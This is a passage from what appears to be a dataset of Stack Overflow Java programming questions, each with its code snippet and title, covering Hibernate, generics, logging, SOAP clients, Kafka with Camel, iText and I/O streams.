) protected ApplicationVO application ; ... ... ... } public ApplicationVO findApplicationById ( Integer applicationId ) { Criteria criteria = currentSession ( ) .createCriteria ( ApplicationVO.class ) ; criteria.add ( Restrictions.eq ( `` id '' , applicationId ) ) ; criteria.setProjection ( Projections.projectionList ( ) .add ( Projections.property ( `` applicationHomeScreen '' ) , `` applicationHomeScreen '' ) ) .setResultTransformer ( Transformers.aliasToBean ( ApplicationVO.class ) ) ; ApplicationVO applicationVO = ( ApplicationVO ) criteria.uniqueResult ( ) ; return applicationVO ; } java.lang.ArrayIndexOutOfBoundsException : 0 at org.hibernate.loader.criteria.CriteriaLoader.getResultRow ( CriteriaLoader.java:168 ) at org.hibernate.loader.criteria.CriteriaLoader.getResultColumnOrRow ( CriteriaLoader.java:148 ) at org.hibernate.loader.Loader.getRowFromResultSet ( Loader.java:754 ) at org.hibernate.loader.Loader.processResultSet ( Loader.java:953 ) at org.hibernate.loader.Loader.doQuery ( Loader.java:921 ) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections ( Loader.java:355 ) at org.hibernate.loader.Loader.doList ( Loader.java:2554 ) at org.hibernate.loader.Loader.doList ( Loader.java:2540 ) at org.hibernate.loader.Loader.listIgnoreQueryCache ( Loader.java:2370 ) at org.hibernate.loader.Loader.list ( Loader.java:2365 ) at org.hibernate.loader.criteria.CriteriaLoader.list ( CriteriaLoader.java:126 ) at org.hibernate.internal.SessionImpl.list ( SessionImpl.java:1682 ) at org.hibernate.internal.CriteriaImpl.list ( CriteriaImpl.java:380 ) at org.hibernate.internal.CriteriaImpl.uniqueResult ( CriteriaImpl.java:402 ) at com.dao.database.impl.ApplicationDAOImpl.findApplicationById ( ApplicationDAOImpl.java:349 )",Hibernate Projections / Lazy Loading for non required 1 to 1 Mappings +Java,Today I was studying for an incoming Java exam and I ran into this question : Let A be a class defined as follows : What is the output produced by the instruction A a = new A ( ) ; a.f ( 1.0 ) ; ? The answer seems to be A.f ( Double ) but I ca n't understand why . Could someone give me a proper explanation ?,class A { public void f ( Double x ) { System.out.println ( `` A.f ( Double ) '' ) ; } public void f ( double ... x ) { System.out.println ( `` A.f ( double ... ) '' ) ; } },Why is f ( Double x ) a better match than f ( double ... x ) ? +Java,"I see that Enum1.class , Day.class , and Enum1 $ 1.class when I compile this code . When I comment out the switchcase part only Enum1.class and Day.class are generated.What in the switchcase is the cause of generating an extra Enum1 $ 1.class file ?","enum Day { SUNDAY , MONDAY , TUESDAY , WEDNESDAY , THURSDAY , FRIDAY , SATURDAY } class Enum1 { public static void main ( String args [ ] ) { Day day=Day.MONDAY ; switch ( day ) { case SUNDAY : System.out.println ( `` sunday '' ) ; break ; case MONDAY : System.out.println ( `` monday '' ) ; break ; default : System.out.println ( `` other day '' ) ; } } }",why is < filename > $ 1.class generated ? +Java,"We were given the task to create an object structure for evaluating expressions ( e.g . `` 1 + 2 '' or `` true & false '' ) . The parser is provided , as well as a factory interface to create the expression objects.We use generics for the different expressions : Expression < Integer > returns an Integer , Expression < Boolean > returns a Boolean , etc.The problem we 're facing is that the provided interface uses the raw type Expression , for example : The sum expression is only defined when the operands are of type Expression < Integer > or Expression < Double > . How can we check this ? Due to type erasure , the type information is not available at run time , and it just results in a ClassCastException if it 's incorrect.I can modify everything , except for the createSumExpression and createAndExpression functions.This is a simplified piece of code that demonstrates the problem . It works , but it does n't look very nice , and it gives multiple warnings.Main.javaExpression.javaBasicExpression.javaBinaryExpression.javaThe provided interface is :","public Expression createSumExpression ( Expression left , Expression right ) ; public class Main { public static void main ( String [ ] args ) { Expression < ? > left1 = new BasicExpression < > ( 42 ) ; Expression < ? > right1 = new BasicExpression < > ( 3 ) ; Expression < ? > sum = createSumExpression ( left1 , right1 ) ; System.out.printf ( `` % d + % d = % d % n '' , left1.getValue ( ) , right1.getValue ( ) , sum.getValue ( ) ) ; Expression < ? > left2 = new BasicExpression < > ( true ) ; Expression < ? > right2 = new BasicExpression < > ( false ) ; Expression < ? > and = createAndExpression ( left2 , right2 ) ; System.out.printf ( `` % b & % b = % b % n '' , left2.getValue ( ) , right2.getValue ( ) , and.getValue ( ) ) ; } private static Expression createSumExpression ( Expression left , Expression right ) { // Raw types because of given interface return new BinaryExpression < Integer , Expression < Integer > , Expression < Integer > > ( left , right ) { @ Override protected Integer operation ( Expression < Integer > left , Expression < Integer > right ) { return left.getValue ( ) + right.getValue ( ) ; } } ; } private static Expression createAndExpression ( Expression left , Expression right ) { // Raw types because of given interface return new BinaryExpression < Boolean , Expression < Boolean > , Expression < Boolean > > ( left , right ) { @ Override protected Boolean operation ( Expression < Boolean > left , Expression < Boolean > right ) { return left.getValue ( ) & right.getValue ( ) ; } } ; } } abstract public class Expression < V > { public abstract V getValue ( ) ; } public class BasicExpression < V > extends Expression < V > { public BasicExpression ( V value ) { this.value = value ; } @ Override public V getValue ( ) { return value ; } private V value ; } abstract public class BinaryExpression < V , L , R > extends Expression < V > { public BinaryExpression ( L l , R r ) { this.left = l ; this.right = r ; } @ Override public V getValue ( ) { return operation ( left , right ) ; } abstract protected V operation ( L left , R right ) ; private L left ; private R right ; } /** * @ param < E > * Your class for representing an expression . */public interface IExpressionFactory < E > { public E createSumExpression ( E left , E right ) throws ModelException ; public E createAndExpression ( E left , E right ) throws ModelException ; // ... }",Check generic type before casting at runtime +Java,"I 'm using an HTML unordered list to display some text within a JEditorPane . A sample of the HTML looks like this : This works all well and good , but strangely the bullets generated by < li > do n't look to be the same quality as the text it is next to . ( Running Mac OS 10.7.5 if it matters ) . The circular bullets look blocky and pixelated : Normal zoom : Zoomed in : As especially evident when it is zoomed in , this is just a block of pixels that are n't symmetrical and lack any form of anti-aliasing , which makes for a less than convincing circular bullet point . Compared to the text next to it , it looks `` off '' to a discerning eye , even at normal zoom.Is there any way that I can fix this ? EDIT : Using the • character ( option + 8 on a Mac ) creates a smaller bullet point in the text that does not look pixelated . I could of course insert this character manually rather than using < ul > < li > , but I 'd like to use an HTML unordered list if I can .",< ul > < li > Cautious < /li > < li > Curious < /li > < /ul >,Unordered List Bullets Look Pixelated in JEditorPane +Java,I am fixing a legacy JSF application running on tomcat 7.UserAccessBB.java logback.xmlmavenThe file is copied to WEB-INF/classesThe log file contains only INFO and higher level logs from this class . Lower levels are printed only when I modify the root logger . Where is the issue ?,package beans ; import java.util.logging.Level ; import java.util.logging.Logger ; public class UserAccessBB { private static final Logger LOG = Logger.getLogger ( UserAccessBB.class.getName ( ) ) ; public UserAccessBB ( ) { LOG.fine ( `` UserAccessBB '' ) ; < logger name= '' beans '' level= '' TRACE '' additivity= '' false '' > < appender-ref ref= '' STDOUT '' / > < appender-ref ref= '' FILE '' / > < /logger > < root level= '' INFO '' > < appender-ref ref= '' STDOUT '' / > < appender-ref ref= '' FILE '' / > < /root > < dependency > < groupId > org.slf4j < /groupId > < artifactId > jul-to-slf4j < /artifactId > < version > $ { slf4j.version } < /version > < /dependency > < dependency > < groupId > ch.qos.logback < /groupId > < artifactId > logback-classic < /artifactId > < version > 0.9.20 < /version > < /dependency >,Logback does not log JUL fine level +Java,"The following wo n't compile : However , if I remove < T > , it compiles . Why the inconsistency ? Also , if I say Outer.Inner inner ; , instead of Inner inner ; , it compiles . Again , why the inconsistency ? I 'd expect an error in either all cases or none . Could anyone explain what 's going on ?",class Outer < T > { class Inner { } static class Nested { Inner inner ; // Error : Outer.this can not be referenced from a static context } },"Ca n't reference inner class from a static context , but only if outer class is generic" +Java,"BackgroundI 'm using wsimport to create what is essentially a Java webservice client , connecting to a .Net webservice that is returning datasets ( unfortunately ) . To be more specific I 'm working on a project ( inbound transport ) for the GeoEvent Processor suite of ESRI ArcGIS Server 10.2 , but I think this might be answered on more general terms in relation to JAXB and WSDL bindings . Bear with me as I have n't touched Java since college ( 10+ years ) . For purposes of the WSDL , the .Net DataSet is a polymorphic type whose actual layout is n't determined until run time , after the DataSet has been filled with data . This causes problems when you want to use that webservice with anything but .Net . After some research I 've managed to use wsimport to generate from the webservice wsdl . I was then able to put together a basic proof of concept program that gets results from the webservice as a DOM , then walks that DOM as a nodelist.Reference : JAX-WS error on WSDL file : `` Error resolving component 's : schema ' '' https : //weblogs.java.net/blog/vivekp/archive/2007/05/how_to_deal_wit_1.htmlThe section on Toolkit Bindings and figure 6 in http : //msdn.microsoft.com/en-us/magazine/cc188755.aspxMy wsimport looks like this ( domain names have been changed to protect the innocent ) : The ProblemUnfortunately , the same codebase that worked in my proof of concept , getting results from the webservice , fails once I implement in the ArcGIS GeoEvent Processor . My project is part of an OSGI bundle that the ArcGIS GeoEvent Processor will control . The error below is as shown in the Apache Karaf log for the GeoEvent Processor.Based on the error , my understanding is there is a problem with how I did the binding in wsimport , referencing the generic schema per those links I have listed above . Looks like the generic schema lacks definitions for some of the elements that exist as classes generated by wsimport . Those classes appear to be properly generated when I check the output from wsimport . I 've not included the WSDL due to posting limitations , but will include in later responses if needed.What I 'm trying to figure outHow should this error be interpreted ? Why does the same wsimport generated code used to access the webservice in my basic proof of concept fail when run in the ArcGIS GeoEvent Processor ? The error mentions JAXB and SAX , I 'm not consciously referencing either of those libraries in the proof of concept or the project for the ArcGIS GeoEvent Processor . Could it be that the binding/unmarshalling of the webservice is handled differently , with ArcGIS GeoEvent Processor wrapping in JAXB/SAX and the proof of concept not ? What can I do to resolve this ? Use a different , custom , xsd and xjb that spells out the expected schema for the webservice ? I 'm not sure exactly how that would be done . Use something other than wsimport to generate the webservice reference classes ? Tweak something in the java environment for the ArcGIS GeoEvent Processor ? Other options ? Commit seppuku , then it 's not my problem ? The ErrorThe Code ( snippet ) Environment SpecificsJDK 7u17 ( 1.7.0_17 ) 64 bit . The ArcGIS GeoEvent Processor is using this version of the JRE , so I 'm locked into that version for execution . Though I 've done some development in 1.7.0_51 before I realized that.wsimport - JAX-WS RI 2.2.4-b01ArcGIS Server 10.2ArcGIS GeoEvent Processor ExtensionKaraf ( used by ArcGIS Geovent Processor to run OSGI bundles )","C : \Development\ArcGIS\WSDL > wsimport -b http : //www.w3.org/2001/XMLSchema.xsd -b xsd.xjb -keep -p com.somecompany.services -XadditionalHeaders http : //services.somecompany.com/DataRetrieval.asmx ? wsdl 2014-09-23 16:10:14,365 | ERROR | ansport Listener | SomeInboundTransport | 367 - com.somecompany.arcgis.geoevent.transport.inbound.somecompanyInboundTransport - 1.0.0 | Unable to call Webservicejavax.xml.ws.soap.SOAPFaultException : Unmarshalling Error : unexpected element ( uri : '' http : //www.w3.org/2001/XMLSchema '' , local : '' element '' ) . Expected elements are < { http : //services.somecompany.com/ } complexType > , < { http : //services.somecompany.com/ } annotation > , < { http : //services.somecompany.com/ } redefine > , < { http : //services.somecompany.com/ } element > , < { http : //services.somecompany.com/ } include > , < { http : //services.somecompany.com/ } attributeGroup > , < { http : //services.somecompany.com/ } group > , < { http : //services.somecompany.com/ } notation > , < { http : //services.somecompany.com/ } import > , < { http : //services.somecompany.com/ } simpleType > , < { http : //services.somecompany.com/ } attribute > at org.apache.cxf.jaxws.JaxWsClientProxy.invoke ( JaxWsClientProxy.java:156 ) [ 120 : org.apache.cxf.cxf-rt-frontend-jaxws:2.6.1 ] at com.sun.proxy. $ Proxy198.getCompanyArcgisData ( Unknown Source ) [ 367 : com.somecompany.arcgis.geoevent.transport.inbound.somecompanyInboundTransport:1.0.0 ] at com.somecompany.arcgis.geoevent.transport.inbound.SomeInboundTransport.callWebService ( SomeInboundTransport.java:184 ) [ 367 : com.somecompany.arcgis.geoevent.transport.inbound.somecompanyInboundTransport:1.0.0 ] at com.somecompany.arcgis.geoevent.transport.inbound.SomeInboundTransport.run ( SomeInboundTransport.java:257 ) [ 367 : com.somecompany.arcgis.geoevent.transport.inbound.somecompanyInboundTransport:1.0.0 ] at java.lang.Thread.run ( Thread.java:722 ) [ :1.7.0_17 ] Caused by : javax.xml.bind.UnmarshalException - with linked exception : [ com.sun.istack.SAXParseException2 ; lineNumber : 1 ; columnNumber : 651 ; unexpected element ( uri : '' http : //www.w3.org/2001/XMLSchema '' , local : '' element '' ) . Expected elements are < { http : //services.somecompany.com/ } complexType > , < { http : //services.somecompany.com/ } annotation > , < { http : //services.somecompany.com/ } redefine > , < { http : //services.somecompany.com/ } element > , < { http : //services.somecompany.com/ } include > , < { http : //services.somecompany.com/ } attributeGroup > , < { http : //services.somecompany.com/ } group > , < { http : //services.somecompany.com/ } notation > , < { http : //services.somecompany.com/ } import > , < { http : //services.somecompany.com/ } simpleType > , < { http : //services.somecompany.com/ } attribute > ] at com.sun.xml.bind.v2.runtime.unmarshaller.UnmarshallerImpl.handleStreamException ( UnmarshallerImpl.java:425 ) at com.sun.xml.bind.v2.runtime.unmarshaller.UnmarshallerImpl.unmarshal0 ( UnmarshallerImpl.java:362 ) at com.sun.xml.bind.v2.runtime.unmarshaller.UnmarshallerImpl.unmarshal ( UnmarshallerImpl.java:339 ) at org.apache.cxf.jaxb.JAXBEncoderDecoder.doUnmarshal ( JAXBEncoderDecoder.java:784 ) [ 91 : org.apache.cxf.cxf-rt-databinding-jaxb:2.6.1 ] at org.apache.cxf.jaxb.JAXBEncoderDecoder.access $ 100 ( JAXBEncoderDecoder.java:97 ) [ 91 : org.apache.cxf.cxf-rt-databinding-jaxb:2.6.1 ] at org.apache.cxf.jaxb.JAXBEncoderDecoder $ 1.run ( JAXBEncoderDecoder.java:812 ) at java.security.AccessController.doPrivileged ( Native Method ) [ :1.7.0_17 ] at org.apache.cxf.jaxb.JAXBEncoderDecoder.unmarshall ( JAXBEncoderDecoder.java:810 ) [ 91 : org.apache.cxf.cxf-rt-databinding-jaxb:2.6.1 ] at org.apache.cxf.jaxb.JAXBEncoderDecoder.unmarshall ( JAXBEncoderDecoder.java:644 ) [ 91 : org.apache.cxf.cxf-rt-databinding-jaxb:2.6.1 ] at org.apache.cxf.jaxb.io.DataReaderImpl.read ( DataReaderImpl.java:157 ) [ 91 : org.apache.cxf.cxf-rt-databinding-jaxb:2.6.1 ] at org.apache.cxf.interceptor.DocLiteralInInterceptor.handleMessage ( DocLiteralInInterceptor.java:108 ) [ 87 : org.apache.cxf.cxf-api:2.6.1 ] at org.apache.cxf.phase.PhaseInterceptorChain.doIntercept ( PhaseInterceptorChain.java:262 ) [ 87 : org.apache.cxf.cxf-api:2.6.1 ] at org.apache.cxf.endpoint.ClientImpl.onMessage ( ClientImpl.java:798 ) [ 87 : org.apache.cxf.cxf-api:2.6.1 ] at org.apache.cxf.transport.http.HTTPConduit $ WrappedOutputStream.handleResponseInternal ( HTTPConduit.java:1667 ) [ 118 : org.apache.cxf.cxf-rt-transports-http:2.6.1 ] at org.apache.cxf.transport.http.HTTPConduit $ WrappedOutputStream.handleResponse ( HTTPConduit.java:1520 ) [ 118 : org.apache.cxf.cxf-rt-transports-http:2.6.1 ] at org.apache.cxf.transport.http.HTTPConduit $ WrappedOutputStream.close ( HTTPConduit.java:1428 ) [ 118 : org.apache.cxf.cxf-rt-transports-http:2.6.1 ] at org.apache.cxf.transport.AbstractConduit.close ( AbstractConduit.java:56 ) [ 87 : org.apache.cxf.cxf-api:2.6.1 ] at org.apache.cxf.transport.http.HTTPConduit.close ( HTTPConduit.java:658 ) [ 118 : org.apache.cxf.cxf-rt-transports-http:2.6.1 ] at org.apache.cxf.interceptor.MessageSenderInterceptor $ MessageSenderEndingInterceptor.handleMessage ( MessageSenderInterceptor.java:62 ) [ 87 : org.apache.cxf.cxf-api:2.6.1 ] at org.apache.cxf.phase.PhaseInterceptorChain.doIntercept ( PhaseInterceptorChain.java:262 ) [ 87 : org.apache.cxf.cxf-api:2.6.1 ] at org.apache.cxf.endpoint.ClientImpl.doInvoke ( ClientImpl.java:532 ) [ 87 : org.apache.cxf.cxf-api:2.6.1 ] at org.apache.cxf.endpoint.ClientImpl.invoke ( ClientImpl.java:464 ) [ 87 : org.apache.cxf.cxf-api:2.6.1 ] at org.apache.cxf.endpoint.ClientImpl.invoke ( ClientImpl.java:367 ) [ 87 : org.apache.cxf.cxf-api:2.6.1 ] at org.apache.cxf.endpoint.ClientImpl.invoke ( ClientImpl.java:320 ) [ 87 : org.apache.cxf.cxf-api:2.6.1 ] at org.apache.cxf.frontend.ClientProxy.invokeSync ( ClientProxy.java:89 ) [ 119 : org.apache.cxf.cxf-rt-frontend-simple:2.6.1 ] at org.apache.cxf.jaxws.JaxWsClientProxy.invoke ( JaxWsClientProxy.java:134 ) [ 120 : org.apache.cxf.cxf-rt-frontend-jaxws:2.6.1 ] ... 4 moreCaused by : com.sun.istack.SAXParseException2 ; lineNumber : 1 ; columnNumber : 651 ; unexpected element ( uri : '' http : //www.w3.org/2001/XMLSchema '' , local : '' element '' ) . Expected elements are < { http : //services.somecompany.com/ } complexType > , < { http : //services.somecompany.com/ } annotation > , < { http : //services.somecompany.com/ } redefine > , < { http : //services.somecompany.com/ } element > , < { http : //services.somecompany.com/ } include > , < { http : //services.somecompany.com/ } attributeGroup > , < { http : //services.somecompany.com/ } group > , < { http : //services.somecompany.com/ } notation > , < { http : //services.somecompany.com/ } import > , < { http : //services.somecompany.com/ } simpleType > , < { http : //services.somecompany.com/ } attribute > at com.sun.xml.bind.v2.runtime.unmarshaller.UnmarshallingContext.handleEvent ( UnmarshallingContext.java:642 ) at com.sun.xml.bind.v2.runtime.unmarshaller.Loader.reportError ( Loader.java:254 ) at com.sun.xml.bind.v2.runtime.unmarshaller.Loader.reportError ( Loader.java:249 ) at com.sun.xml.bind.v2.runtime.unmarshaller.Loader.reportUnexpectedChildElement ( Loader.java:116 ) at com.sun.xml.bind.v2.runtime.unmarshaller.Loader.childElement ( Loader.java:101 ) at com.sun.xml.bind.v2.runtime.unmarshaller.StructureLoader.childElement ( StructureLoader.java:243 ) at com.sun.xml.bind.v2.runtime.unmarshaller.UnmarshallingContext._startElement ( UnmarshallingContext.java:478 ) at com.sun.xml.bind.v2.runtime.unmarshaller.UnmarshallingContext.startElement ( UnmarshallingContext.java:459 ) at com.sun.xml.bind.v2.runtime.unmarshaller.StAXStreamConnector.handleStartElement ( StAXStreamConnector.java:242 ) at com.sun.xml.bind.v2.runtime.unmarshaller.StAXStreamConnector.bridge ( StAXStreamConnector.java:176 ) at com.sun.xml.bind.v2.runtime.unmarshaller.UnmarshallerImpl.unmarshal0 ( UnmarshallerImpl.java:360 ) ... 28 moreCaused by : javax.xml.bind.UnmarshalException : unexpected element ( uri : '' http : //www.w3.org/2001/XMLSchema '' , local : '' element '' ) . Expected elements are < { http : //services.somecompany.com/ } complexType > , < { http : //services.somecompany.com/ } annotation > , < { http : //services.somecompany.com/ } redefine > , < { http : //services.somecompany.com/ } element > , < { http : //services.somecompany.com/ } include > , < { http : //services.somecompany.com/ } attributeGroup > , < { http : //services.somecompany.com/ } group > , < { http : //services.somecompany.com/ } notation > , < { http : //services.somecompany.com/ } import > , < { http : //services.somecompany.com/ } simpleType > , < { http : //services.somecompany.com/ } attribute > ... 39 more import com.somecompany.services . * ; //generated by wsimportimport javax.xml.ws . * ; // ... private com.somecompany.services.DataRetrieval myWS ; private com.somecompany.services.DataRetrievalSoap port ; private byte [ ] callWebService ( String userName , String pwd , long dataTimeFrame ) { try { myWS = new com.somecompany.services.DataRetrieval ( ) ; port = myWS.getDataRetrievalSoap ( ) ; com.somecompany.services.AuthSoapHeader mySoapHeader = new com.somecompany.services.AuthSoapHeader ( ) ; mySoapHeader.setUserName ( userName ) ; //Hash the password then set it for the SOAP header String pwdHash = hashMD5 ( pwd ) ; mySoapHeader.setPassword ( pwdHash ) ; Holder holder = new Holder < AuthSoapHeader > ( mySoapHeader ) ; Date endTime = new Date ( ) ; Date startTime = new Date ( endTime.getTime ( ) - dataTimeFrame ) ; XMLGregorianCalendar gcEndTime = dateToGregorianTime ( endTime ) ; XMLGregorianCalendar gcStartTime = dateToGregorianTime ( startTime ) ; GetCompanyArcgisDataResponse.GetCompanyArcgisDataResult companyData = port.getCompanyArcgisData ( gcStartTime , gcEndTime , holder ) ; if ( ( ( AuthSoapHeader ) holder.value ) .getError ( ) ! = null ) { log.error ( `` Authentication to web services failed ! `` ) ; //OSGI stop service this.stop ( ) ; return null ; } else log.info ( `` Authentication to web services successful . `` ) ; //Convert the results to a java object and then to a byte array to send to the adapter Object companyDataAny = companyData.getAny ( ) ; byte [ ] companyDataBytes = objectToBytes ( companyDataAny ) ; return companyDataBytes ; } catch ( Exception ex ) { log.error ( `` Unable to call Webservice '' , ex ) ; //OSGI stop service this.stop ( ) ; return null ; } }",ArcGIS GeoEvent Processor - javax.xml.ws.soap.SOAPFaultException : Unmarshalling Error +Java,"We have a library of Java code that we intend to use across projects . Some of these projects will require having annotations added to the Java objects in this library ( i.e . in one project , these objects will be used in a JAX-RS servlet implementation so they need to be annotated with JAXB , JSON etc annotations ) . The issue I am having is that I could not figure out how to add these annotations without changing the original library.Consider this example : In some projects , I would like the class to behave as if it wasInitially I thought about using interfaces or derived classes that are separately annotated but could not figure out how to do it ( or whether it is possible or not ) . I also found about the Javassist suggestion in this thread ( i.e . Java bytecode manipulation approach ) but the issue is that this needs to work on Android clients as well so it is not an option for me . At this point I am out of ideas.I would appreciate if someone could help in any way . Maybe I am missing something , or maybe what I am trying to do is not the right way . In any case , I need some guidance now in order to proceed.Thanks very much in advance .",public class MyClass { private String field1 ; private int field2 ; } public class MyClass { @ Annotation1 private String field1 ; @ Annotation2 private int field2 ; },Adding/modifying annotations in a java project +Java,"I am updating my 2.9 . * project to 2.10 . I have several classes for fundamental types ( angles , lengths , etc ) that seem like they are perfect candidates for value types . Unfortunately , my Java code that uses these types is not compiling , and I ca n't figure out why . I have simplified it down to a very simple set of code . Any suggestions would be much appreciated.Angle class Definition ( scala ) Angle Test Case ( painfully written in Java ) When I compile , I get this error : It looks to me as if Angle.Zero is being returned as a double , not an Angle . I tried adding box/unbox methods , but continue to receive the same error . Again , any help would be greatly appreciated .","package com.example.unitsclass Angle ( val radians : Double ) extends AnyVal { def degrees = radians * 180.0 / math.Pi } object Angle { val Zero = new Angle ( 0 ) } package com.example.units ; import junit.framework.Assert ; import org.junit.Test ; public class AngleTest { @ Test public static void TestZero ( ) { Angle a = Angle.Zero ( ) ; Assert.assertEquals ( a.degrees ( ) , 0 , 1E-9 ) ; } } AngleTest.java:19 incompatible typesfound : doublerequired : com.example.units.AngleAngle a = Angle.Zero ( ) ; ^",using Scala 2.10.1 Value Types in Java +Java,"I have a usecase : I need to read and aggregate messages from a kafka topic at regular intervals and publish to a different topic . Localstorage is not an option.This is how I am planning to address this , any suggestions to improve are welcomeTo schedule the aggregation and publishing of kafka messages , planning to use completionInterval option of Aggregator EIP . Here is the code.and the route :","@ Autowired ObjectMapper objectMapper ; JacksonDataFormat jacksonDataFormat ; @ PostConstruct public void initialize ( ) { //objectMapper.setPropertyNamingStrategy ( PropertyNamingStrategy.SNAKE_CASE ) ; jacksonDataFormat = new JacksonDataFormat ( objectMapper , EventMessage.class ) ; } public void configure ( ) throws Exception { from ( `` kafka : localhost:9092 ? topic=item-events '' + `` & groupId=aggregator-group-id & autoCommitIntervalMs=25000 & autoOffsetReset=earliest & consumersCount=1 '' ) .routeId ( `` kafkapoller '' ) .unmarshal ( jacksonDataFormat ) .aggregate ( body ( ) .method ( `` getItemId '' ) , new EventAggregationStrategy ( ) ) .completionInterval ( 20000 ) .marshal ( ) .json ( JsonLibrary.Jackson ) .to ( `` kafka : localhost:9092 ? topic=item-events-aggregated & serializerClass=org.apache.kafka.common.serialization.ByteArraySerializer '' ) ; }",Apache Camel Kafka - aggregate kafka messages and publish to a different topic at regular intervals +Java,I want a tire map like blow : How to implement a map like this ? Or is there already exits a map in Java API or open source ? It 's very like innodb in mysql.PS : Performance is very important . The storage items will be more than 1000W .,"Map < String , Object > map = new TireMap ( ) ; map.put ( `` com '' , '' 1 '' ) ; map.put ( `` com.aa '' , '' 2 '' ) ; map.put ( `` com.aa.bb '' , '' 3 '' ) ; map.get ( `` com '' ) ; // return [ `` 1 '' , '' 2 '' , '' 3 '' ] map.get ( `` com.a '' ) ; //return [ `` 2 '' , '' 3 '' ] map.get ( `` com.aa '' ) ; //return [ `` 2 '' , '' 3 '' ] // the key maybe full key or just key prefix",How to implement tire map in java ? +Java,"I 've created an AnnotationI 'm using this on methods that look like this : The v variable is needed by the Android reflection system to call this method.However the input var v is unused , so my IDE warns me of this . I like this warning and want it on for the rest of my code.To hide the warning I could do or I could add a param tagBut I would rather that the IDE ( eclipse ) reads my @ FromXML annotation and does n't give me the warning.I know you ca n't extend an Annotation , but thats basically what I want to do.Is there a way I can add my annotation to be recognised as a 'suppress warnings ' annotation.orIs there a way to code my annotation to 'act like ' suppress warnings ?",/** * Highlights this method is declared in XML */public @ interface FromXML { } @ FromXMLpublic void onSomethingClick ( View v ) { } @ SuppressWarnings ( `` unused '' ) @ FromXMLpublic void onSomethingClick ( View v ) { },Create a Java Annotation with IDE contextual behaviour +Java,"When I try to download a file ( in this case it 's just an image but the real application is an updating mechanism ) , the InputStream seems to freeze on read . I 'm pretty sure my code is okay , so I 'm wondering why this happens and if it 's just on my computer . Could someone please run this ? Please note that the Timer is simply for debugging purposes.Thank you kindly.Here is a video showing the problem : Video","import java.awt.event.ActionEvent ; import java.awt.event.ActionListener ; import java.io . * ; import java.net.URL ; import javax.swing.Timer ; public class FileDownloader { public final static int BUFFER_LENGTH = 1 < < 14 ; private static Timer timeoutTimer = new Timer ( 5000 , new ActionListener ( ) { @ Override public void actionPerformed ( ActionEvent e ) { System.out.println ( `` Timeout '' ) ; System.exit ( 0 ) ; } } ) ; public static void main ( String [ ] args ) throws Exception { URL url = new URL ( `` http : //host.trivialbeing.org/up/tdk-aug3-jokr-high-res-2.jpg '' ) ; download ( url , new File ( `` joker.jpg '' ) ) ; } public static void download ( final URL url , final File dest ) throws IOException { FileOutputStream fos = new FileOutputStream ( dest ) ; BufferedOutputStream out = new BufferedOutputStream ( fos ) ; BufferedInputStream in = new BufferedInputStream ( url.openStream ( ) ) ; byte [ ] buf = new byte [ BUFFER_LENGTH ] ; int bytesRead ; int bytesWritten = 0 ; timeoutTimer.start ( ) ; while ( ( bytesRead = in.read ( buf , 0 , BUFFER_LENGTH ) ) ! = -1 ) { timeoutTimer.restart ( ) ; out.write ( buf , 0 , bytesRead ) ; out.flush ( ) ; bytesWritten += bytesRead ; System.out.println ( bytesWritten / 1024 + `` kb written '' ) ; } in.close ( ) ; out.close ( ) ; System.out.println ( `` Finished '' ) ; fos.close ( ) ; } }",Downloading files using Java randomly freezes +Java,I am trying to insert jpg image into the PDF . Some jpg images works properly but in some cases I get following exception . Below is the code I am using . I am getting error on the following line in the above code.path is the full path of the image . I found similar question on SOPremature EOF while reading JPG using itextFailure to read JPEG file from byte [ ] But this did not solve my issue . Here 's a link to one of such image https : //dl.dropboxusercontent.com/u/46349359/image.jpg,"java.io.IOException : Premature EOF while reading JPG . at com.itextpdf.text.Jpeg.processParameters ( Jpeg.java:218 ) at com.itextpdf.text.Jpeg. < init > ( Jpeg.java:117 ) at com.itextpdf.text.Image.getInstance ( Image.java:279 ) at com.itextpdf.text.Image.getInstance ( Image.java:241 ) at com.itextpdf.text.Image.getInstance ( Image.java:364 ) import com.itextpdf.text.Document ; import com.itextpdf.text.DocumentException ; import com.itextpdf.text.Image ; import com.itextpdf.text.pdf.PdfPCell ; import com.itextpdf.text.pdf.PdfPTable ; import com.itextpdf.text.pdf.PdfWriter ; import java.io.File ; import java.io.FileOutputStream ; import java.io.IOException ; public class ImagesNextToEachOther { public static final String DEST = `` /home/Documents/pdftest/hello.pdf '' ; public static final String IMG1 = `` /home/Documents/pdftest/2.jpg '' ; public static void main ( String [ ] args ) throws IOException , DocumentException { File file = new File ( DEST ) ; file.getParentFile ( ) .mkdirs ( ) ; new ImagesNextToEachOther ( ) .createPdf ( DEST ) ; } public void createPdf ( String dest ) throws IOException , DocumentException { Document document = new Document ( ) ; PdfWriter.getInstance ( document , new FileOutputStream ( dest ) ) ; document.open ( ) ; PdfPTable table = new PdfPTable ( 1 ) ; table.setWidthPercentage ( 100 ) ; table.addCell ( createImageCell ( IMG1 ) ) ; document.add ( table ) ; document.close ( ) ; } public static PdfPCell createImageCell ( String path ) throws DocumentException , IOException { Image img = Image.getInstance ( path ) ; PdfPCell cell = new PdfPCell ( img , true ) ; return cell ; } } Image img = Image.getInstance ( path ) ;",Premature EOF while reading JPG exception while writing jpg images to pdf using itext +Java,"Suppose I have a method that take in an InputStream . This method need to wrap this InputStream with a BufferedInputStream to use its mark and reset functionality . However , the passed in InputStream might still be used by the caller of the method.My questions is : what exactly happen to the original InputStream when the BufferedInputStream is read ( or initialized ) ? My assumption is that the original InputStream will also move forward if the BufferedInputStream is read . However , after debugging my code , I have found that the InputStream will return -1 instead when read.If the original InputStream is not readable after such process , how should I go about achieving my purpose : EDIT : I suppose what I 'm asking for is quite generic and therefore requires a lot of work . As for what I 'm working on , I actually do n't need the full mark & reset capability so I have found a small work around . However , I will leave the 2nd part of the question here , so feel free to attempt this problem : ) .",public static void foo ( InputStream is ) throws Exception { BufferedInputStream bis = new BufferedInputStream ( is ) ; int b = bis.read ( ) ; } public static void main ( String [ ] args ) { try { InputStream is = new FileInputStream ( someFile ) ; foo ( is ) ; int b = is.read ( ) ; // return -1 } catch ( Exception e ) { e.printStackTrace ( ) ; } } InputStream is ; foo ( is ) ; // Method only take in generic InputStream object // Processing of the passed in InputStream object require mark and reset functionalityint b = is.read ( ) ; // Return the next byte after the last byte that is read by foo ( ),Effect on the original InputStream after wrapping with BufferedInputStream +Java,"I want to extract a List < E > from a Map < String , List < E > > ( E is a random Class ) using stream ( ) .I want a simple one-line method using java 8 's stream.What I have tried until now :","HashMap < String , List < E > > map = new HashMap < > ( ) ; List < E > list = map.values ( ) ; // does not compilelist = 